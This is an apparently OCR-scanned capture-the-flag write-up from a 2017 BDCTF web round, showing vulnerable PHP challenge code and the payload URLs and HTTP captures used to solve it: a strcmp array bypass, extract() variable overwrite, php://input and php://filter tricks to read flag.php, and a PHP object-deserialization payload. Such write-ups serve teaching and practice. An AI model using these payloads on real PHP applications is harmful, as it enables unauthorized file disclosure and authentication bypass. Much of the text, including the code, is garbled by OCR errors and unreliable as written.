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<form action="" method="poszt™>

Zinput type="text” maxlength="3" name="pass"/>
<input type="submit” walue="31RIE"/ >
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<body>
<p=000000000000000 flag</p=
<form action="" method="post">

<input type="text" maxlength="3" name="pass"/>
<input type="submit" walue="0OO"/>
<prbdctfisim2thing Judt_1ik2 thi8}</p>

</ Frvrme>
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$l=—if (izzet ($_POST[ password 11} |
if (stremp($_POST[ password™ ], $flag) == 0}
die(§flag):
elze
echo "HEBTER!
P>
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name="password">=<ER>

username=admin£password[]kl&submit=%E?&SS%BB%ES%BD%SS <INPUT type="submit" walus="0O0" name="submic">
</ form>

< fdive

</body>

< /htnl>

<!--if(isset(§ POST|'password'])) 1
if (stremp($ FPOST['password'], flag) == 0)
diefgflag),
else
aecho

pr=s
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flag{Y0u dre_ G3t_FLAG 452}

®ERAL
T R —KHEJSFUCK, #hidtizhl & BAG2IPHPIRRY

[IH 01T+ C DI LT O LT LD D LD+ DI D1 D CH LT L) [ DD T I+ LT O [T DT LT+ O D LI DO LI D LD I C D LTI+ DT DI DD [ LI+ [+ LTI 0+ C LI+ L D+ LI+ D 1 O LI+ DD [+ LD 1+ LT+ L DD DI+ [T+ [ ]+ 1+
[+ LI+ [+ LD [+ D1+ [+ DT 0+ (LI LL1 I+ LI [+ 4+ D11+ C LI+ LI D+ DI+ LD+ LT 1+ CH LT+ D DD L+ DD 1+ O LI+ LD [+ 4+ D1+ (LI COT I+ D0 [+ L0+ CLI0C [1+ 1) [+D 00+ (O LI+ LICCT DD+ + DI+ L 111+ CH LI+ L+ I+ 1+ [ 11+
LTI IO LD D LI D1 LT+ (O LT O [ LT T T L) DAL+ DD+ DT D+ O LT LD T+ D10+ O LI DI DO LI DD O+ (D DD T CIC DI [+ A+ DI+ LD D T+ CH LT+ DD D D1+ LT 0+ LD DD [+ DT 1+ O LI+

[1+ 0L T+ b+ D11+ CH LT+ DDD L+ + D1 D Db+ D1+ D+ DD 1T+ O LT+ D1 [+ LT DD LA DD+ L D+ LDT TT O+ L0 b [ b [T [+ DT DD L+ [ D+ (LT LD D+ L0 D1+ LT D) OV CCCT+ LD COD LI+ LIC0T 1D+ LI+ [+ D11+ CH LI+ LT L0 11+ C

[I+L1) [+ T+ IL I LA+ L I+t LTI+ (L LTI+ DL LD DI+ + DT+ [+ D1+ CLI DO DI+ D I [+ 11+ (D LTI+ DL D) [+ L1+ D+ D10 T+ O LI+ LT DL+ L 1T+ O LT DI [+ DD 1+ LT+ DT D+ 1+ DT+ [T T+ C LT+ DD [+ [ 171+ [ 10+
[+ + LI+ LT+ O LI D AL+ b+ L1+ b LT T T OO DAL DO [+ LD T+ Db LI [+ [T b+ [T+ [T b+ LT+ b DT T+ (LT LD 1D 1D D+ L I+ 1+ 0100

*extract(5_GET); if(isset(Zbdcts)) { Scontent=trim(file_get_contents(5¥lag)); iF(SbdctF==Scontent) { echo’ bctF{ssssssasssy | }o,, else i echo AR EEHIEE
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Payload:http://04c432a12784d2fb5ef431ec3366bc9a.yogeit.com:8080/?bdctf=&flag=
5 3flag
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vou are not bd-admin |

&l
| @fuzer = §_GET["u=zer”];
@ffile = §_GET["file"]:

if {izzet (fuseribé (file_get contents(fuszer, "1’ )==="the uszer iz bdadmin”}) {
echo “hello bd-admin!<br:":
include ($file) : S/flagz. php
telsed
gcho “wou are not bd-admin !
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Payload:

http://2a8da10821f39ea335a12fba77f7c3fc.yogeit.com:8080/?user=php://input&file=php://ffilter/read=convert.base64-
encode/resource=flag.php

Content-Lengtli: 344

hello
bd-admin! <br=PDiwvaHRgIROKLy i ZGN0 Znt HEmL fQWSEX0 lvemVITCANCY &+

el ——

Base64f#15153 lflag
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http://04c432a12784d2fb5ef431ec3366bc9a.yogeit.com:8080/?bdctf=&flag=
http://2a8da10821f39ea335a12fba77f7c3fc.yogeit.com:8080/?user=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php
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Bluedonff *
wou are not bluedon |
Ll—
fuser = §_GET["uszer”]:
| $file = § GET["file"];
fpass = §_GET["pa=s"]:

if {iz=zet (fuser)bh (file_get_contents (fuser, 'r’ J==="the user iz bluedon”)){
gcho “hello bluedon!<br>";
include (§file) ; //cla=s.php

lelze{
echo “wou are not bluedon |

1

-

L

—IBZ LR, Al AR ) e AR
R BE 5 i S 2 index.php I ERY, FiZclass.phpHIYETD

<?php

@$user = $ GET["user”];
@§file = §_GET["file"];
@$pass = $ GET["pass™];

iflisset ($user)&&(file_get_contents($user, 'r')==="the user is bluedon”)) {
echo "hello bluedon!<br>";
iflpreg_match("/f1a%/", §filel)) {
exit();
lelsel
@include($file); //class.php
$pass = unserialize($pass);
echo $pass;

]
lelse(

echo "you are not bluedon | ";
l
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<?php

class Read{//f1a9. php
public §file;
public function __toString () {
if(isset ($this—>File)) {
echo file_get_contents($this—>file);
1

return "$8 0% get flag";

FI H class.phpiRead 28 il ) /7 514k 8 i3 pass K 3 Bl fla9.php

payload:
http://11537¢131de3f8b2060b36c0cf7eb083.yogeit.com:8080/?user=php://input&file=class.php&pass=0:4:%22Read%22:1:
{s:4:%22file%22;5:8:%22f129.php%22;}

Sruser=php: //inputifile=class_phpéipass=0:4:%22Fead%22:1: {s:4:%2 Server: nginx
2file%22;s5:8:%22f1a% php%22;} HTTP/1.1 Date: Mon, 30 Oct 2017 09:48:I25% GHMT
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http://11537c131de3f8b2060b36c0cf7eb083.yogeit.com:8080/?user=php://input&file=class.php&pass=O:4:%2522Read%2522:1

Host. llssyclildesIich UnUbsacUucivyenlds yvogelt . com: duby Lontent-1Type:. LTeXt/shtml,; Charsec=ullr-—-o

Cache-Control: max-age=0 Commection: close
Aocept: Vary: Accept-Encoding
text/html, application/xhtml+txml, application/xml;g=0_.%9, image /fwebp Content-Length: 333
ST ig=0.8

Tpgrade-Insecure-Regquests: 1 hello bluedon! <hbr=
User-Agent: Mozilla/s5.0 (Windows NT &.1; WOWE4) <7

AppleWebFit /537 28 (FHTHML, like Gecko) Chrome/E0.0_Z&E81.10Z2 bdet £ {LZeDHOvEDs )}
Safari/537.36 ?=0O0get flag

-

Accept-Encoding: gzip, deflate, sdch
Accept-Language: sh-CH,sh;g=0.8
Cookie: td_cookie=18448744071873242455
Connection: close

Content-Length: 19
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fiisset (fuser)
S

the user is bluedon bluedon") 1

echo "hello bluedor
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<?php

error_reporting (00 ;
$EEY="BDCTF : wurw. bluedon. com” ;
include_once ("flag.php”) ;

fcookie = $_COOEKIE[ EBDCIF ]

if(izzet (§_GET[ hint 131 {
show_source(  FILE )
I
elzeif (unserialize(fcookie) === "$EET")
i
echo  "§flag”:

elze |
T

Cookieft 23t H & F 34k G fAE BKEYE %
BKEYHRMEFFIALEIT], {ERIXAN%3IBY TRZ A@ERBET, RETRAKEK)

GET / HTTP/1.1 A HTTP/1.1 Z00 0K

Host: 1597cbebadbB8l3fdfdedT7E5£71deaf2E8 vogeit . com: 8080 - Server: nginx

Cache-Control: max-age=0 Date: Mon, 30 Oct 2017 08:35:45 GHMT
Aocept: Content-Type: text/html; charset=UTF-8
text/html, application/xhtml+txml , application/xml ;gq=0_%, image fwebp Commection: close

SEA* g=0_8 Vary: Accept-Encoding
Tpgrade-Insecure-Regquests: 1 Content-Length: Z1

User-Agent: Mozilla/s5.0 (Windows NT &.1; WOWE4)

AppleWebFEit /537.36 (FHTHML, like Gecko) Chrome/50.0_.I&gl.10Z fl ag{pEXee Zd0kG10TP1}

Safari/537.326

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CH,zh:qg=0.8

Cockie:

td cookie=1844E5744071667285221;BDCTF=5:21: "BDCTF:www._bluedon. co
n"%3B
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File Edit Insert Options Tools Help
Chunk | i_ength| CRC | Attributes | Contents

‘Warning ==

fl; Incorrect crc for IHDR chunk (is fc082fb8, should be f35025d4)
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